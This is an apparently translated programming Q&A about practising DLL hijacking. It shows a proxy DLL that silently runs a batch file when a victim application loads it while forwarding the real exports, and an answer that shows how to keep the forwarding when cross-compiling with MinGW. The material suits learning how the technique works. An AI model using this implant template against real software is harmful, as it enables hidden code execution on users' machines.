我正在通过DLL劫持练习,并编写了一个DLL,该DLL在Visual Studio中编译时可以按预期工作。本质上,当DLL加载后,它会执行shell命令并将合法功能(在本示例中为 CheckEvenOdd 和 PrintAMessage 函数)传递给最初打算的DLL(在此示例为 GetEvenOdd.dll )。工作代码如下;
#include "stdafx.h"
#include <windows.h>
#pragma comment(linker, "/export:CheckEvenOdd=GetEvenOdd.dll.original.CheckEvenOdd")
#pragma comment(linker, "/export:PrintAMessage=GetEvenOdd.dll.original.PrintAMessage")
extern "C" __declspec(dllexport)
DWORD WINAPI ExecuteCmd(LPVOID lpParam) {
WinExec("c:\\Users\\Public\\execute.bat", 0);
return 0;
}
extern "C" __declspec(dllexport)
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
CreateThread(NULL, NULL, ExecuteCmd, NULL, NULL, NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
尽管在Visual Studio(Windows)中进行编译时可以正常工作,但我想在Linux中生成DLL(供Windows程序使用)。在Linux中,我可以交叉编译CPP文件(injector.cpp),并使用以下命令创建DLL;
i686-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL injector.cpp
i686-w64-mingw32-g++ -shared -o GetEvenOdd.dll injector.o -Wl,--out-implib,injector.a
这将成功创建DLL。但是,当DLL由我的“受害者应用程序”(在Windows上运行)加载时,尽管执行了“ ExecuteCmd”功能,但导出的功能(从“实用注释”行)不可用。即,加载此DLL的程序会尝试查找导出的函数,并且无法(即执行DLL导入应用程序的以下 if 分支)。
FNPTR fn = (FNPTR)GetProcAddress(hInst, "CheckEvenOdd");
if (!fn)
{
std::cout << "\nCould not locate the function CheckEvenOdd";
std::cout << "\n\nPress Enter to Continue...";
getch();
return EXIT_FAILURE;
}
这告诉我在Linux中生成DLL时,“ pragma comment”行无法按预期工作。
通过阅读,我了解到这些“编译指令”是特定于编译器的。我可以给“ i686-w64-mingw32-g ++”添加一些标志(或可以进行一些代码更改),以便在Linux中编译DLL时可以使用导出的功能吗?
答案 0 :(得分:6)
编译器特定于每个编译器,您的编译器将在Visual C ++中工作,但不能在MingW中工作。相反,您可以使用Visual C ++和MinGW支持的.def文件。
在您的情况下,以下是jector.def:
EXPORTS
CheckEvenOdd = GetEvenOdd.dll.original.CheckEvenOdd
PrintAMessage = GetEvenOdd.dll.original.PrintAMessage
编译命令:
$ i686-w64-mingw32-g++ -o GetEvenOdd.dll --shared injector.cpp injector.def